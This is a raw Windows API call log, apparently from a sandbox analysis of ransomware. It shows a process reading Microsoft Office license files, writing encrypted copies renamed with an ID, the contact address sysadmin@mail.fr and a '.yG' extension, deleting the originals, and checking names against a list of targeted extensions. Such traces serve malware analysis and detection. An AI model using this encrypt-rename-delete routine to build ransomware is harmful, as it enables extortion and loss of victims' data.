	[0170.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.264] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.264] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.267] GetLastError () returned 0x0
	[0170.267] ReadFile (in: hFile=0x574, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0170.271] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0170.272] ReadFile (in: hFile=0x574, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.272] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10e, lpOverlapped=0x0) returned 1
	[0170.273] SetEndOfFile (hFile=0x51c) returned 1
	[0170.273] CloseHandle (hObject=0x51c) returned 1
	[0170.273] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.273] SetEndOfFile (hFile=0x574) returned 1
	[0170.277] CloseHandle (hObject=0x574) returned 1
	[0170.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1
	[0170.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0170.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0170.280] lstrlenW (lpString=".doc") returned 4
	[0170.280] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.280] lstrlenW (lpString=".docx") returned 5
	[0170.280] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.280] lstrlenW (lpString=".pdf") returned 4
	[0170.280] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.280] lstrlenW (lpString=".xls") returned 4
	[0170.280] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.280] lstrlenW (lpString=".xlsx") returned 5
	[0170.280] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.280] lstrlenW (lpString=".ppt") returned 4
	[0170.280] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0170.281] lstrlenW (lpString=".zip") returned 4
	[0170.281] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.281] lstrlenW (lpString=".rar") returned 4
	[0170.281] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.281] lstrlenW (lpString=".bz2") returned 4
	[0170.281] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.281] lstrlenW (lpString=".7z") returned 3
	[0170.281] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0170.281] lstrlenW (lpString=".dbf") returned 4
	[0170.281] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0170.281] lstrlenW (lpString=".1cd") returned 4
	[0170.281] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79
	[0170.281] lstrlenW (lpString=".jpg") returned 4
	[0170.281] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.282] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=32361) returned 1
	[0170.282] CloseHandle (hObject=0x574) returned 1
	[0170.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 0x220
	[0170.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.284] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.284] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.406] GetLastError () returned 0x0
	[0170.406] ReadFile (in: hFile=0x574, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x7e69, lpOverlapped=0x0) returned 1
	[0170.410] WriteFile (in: hFile=0x350, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x7e70, lpOverlapped=0x0) returned 1
	[0170.413] ReadFile (in: hFile=0x574, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.413] WriteFile (in: hFile=0x350, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x110, lpOverlapped=0x0) returned 1
	[0170.413] SetEndOfFile (hFile=0x350) returned 1
	[0170.414] CloseHandle (hObject=0x350) returned 1
	[0170.414] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.414] SetEndOfFile (hFile=0x574) returned 1
	[0170.418] CloseHandle (hObject=0x574) returned 1
	[0170.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.427] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ppd.xrm-ms")) returned 1
	[0170.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0170.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0170.428] lstrlenW (lpString=".doc") returned 4
	[0170.428] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.428] lstrlenW (lpString=".docx") returned 5
	[0170.428] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.428] lstrlenW (lpString=".pdf") returned 4
	[0170.428] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.428] lstrlenW (lpString=".xls") returned 4
	[0170.428] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.428] lstrlenW (lpString=".xlsx") returned 5
	[0170.428] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.429] lstrlenW (lpString=".ppt") returned 4
	[0170.429] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0170.429] lstrlenW (lpString=".zip") returned 4
	[0170.429] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.429] lstrlenW (lpString=".rar") returned 4
	[0170.429] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.429] lstrlenW (lpString=".bz2") returned 4
	[0170.429] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.429] lstrlenW (lpString=".7z") returned 3
	[0170.429] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0170.429] lstrlenW (lpString=".dbf") returned 4
	[0170.429] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0170.429] lstrlenW (lpString=".1cd") returned 4
	[0170.429] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ppd.xrm-ms") returned 80
	[0170.429] lstrlenW (lpString=".jpg") returned 4
	[0170.430] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.432] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=32362) returned 1
	[0170.432] CloseHandle (hObject=0x574) returned 1
	[0170.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220
	[0170.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.433] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.433] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.434] GetLastError () returned 0x0
	[0170.434] ReadFile (in: hFile=0x574, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x7e6a, lpOverlapped=0x0) returned 1
	[0170.448] WriteFile (in: hFile=0x350, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x7e70, lpOverlapped=0x0) returned 1
	[0170.450] ReadFile (in: hFile=0x574, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.450] WriteFile (in: hFile=0x350, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x112, lpOverlapped=0x0) returned 1
	[0170.450] SetEndOfFile (hFile=0x350) returned 1
	[0170.450] CloseHandle (hObject=0x350) returned 1
	[0170.451] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.451] SetEndOfFile (hFile=0x574) returned 1
	[0170.454] CloseHandle (hObject=0x574) returned 1
	[0170.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1
	[0170.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0170.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0170.621] lstrlenW (lpString=".doc") returned 4
	[0170.621] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.621] lstrlenW (lpString=".docx") returned 5
	[0170.621] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.621] lstrlenW (lpString=".pdf") returned 4
	[0170.621] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.621] lstrlenW (lpString=".xls") returned 4
	[0170.622] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".xlsx") returned 5
	[0170.622] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.622] lstrlenW (lpString=".ppt") returned 4
	[0170.622] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0170.622] lstrlenW (lpString=".zip") returned 4
	[0170.622] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".rar") returned 4
	[0170.622] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".bz2") returned 4
	[0170.622] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString=".7z") returned 3
	[0170.622] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0170.622] lstrlenW (lpString=".dbf") returned 4
	[0170.622] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0170.622] lstrlenW (lpString=".1cd") returned 4
	[0170.622] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81
	[0170.622] lstrlenW (lpString=".jpg") returned 4
	[0170.622] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.623] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11616) returned 1
	[0170.623] CloseHandle (hObject=0x4d8) returned 1
	[0170.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0170.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0170.624] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.624] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.625] GetLastError () returned 0x0
	[0170.625] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0170.641] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0170.642] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.642] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x118, lpOverlapped=0x0) returned 1
	[0170.642] SetEndOfFile (hFile=0x574) returned 1
	[0170.642] CloseHandle (hObject=0x574) returned 1
	[0170.643] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.643] SetEndOfFile (hFile=0x4d8) returned 1
	[0170.646] CloseHandle (hObject=0x4d8) returned 1
	[0170.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1
	[0170.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0170.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0170.648] lstrlenW (lpString=".doc") returned 4
	[0170.648] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0170.648] lstrlenW (lpString=".docx") returned 5
	[0170.649] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0170.649] lstrlenW (lpString=".pdf") returned 4
	[0170.649] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0170.649] lstrlenW (lpString=".xls") returned 4
	[0170.649] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0170.649] lstrlenW (lpString=".xlsx") returned 5
	[0170.649] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0170.649] lstrlenW (lpString=".ppt") returned 4
	[0170.649] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0170.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0170.649] lstrlenW (lpString=".zip") returned 4
	[0170.649] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0170.649] lstrlenW (lpString=".rar") returned 4
	[0170.649] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0170.649] lstrlenW (lpString=".bz2") returned 4
	[0170.649] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0170.649] lstrlenW (lpString=".7z") returned 3
	[0170.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0170.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0170.650] lstrlenW (lpString=".dbf") returned 4
	[0170.650] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0170.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0170.650] lstrlenW (lpString=".1cd") returned 4
	[0170.650] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0170.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0170.650] lstrlenW (lpString=".jpg") returned 4
	[0170.650] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0170.650] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11147) returned 1
	[0170.650] CloseHandle (hObject=0x4d8) returned 1
	[0170.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220
	[0170.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0170.651] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.652] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0170.653] GetLastError () returned 0x0
	[0170.653] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2b8b, lpOverlapped=0x0) returned 1
	[0170.660] WriteFile (in: hFile=0x574, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2b90, lpOverlapped=0x0) returned 1
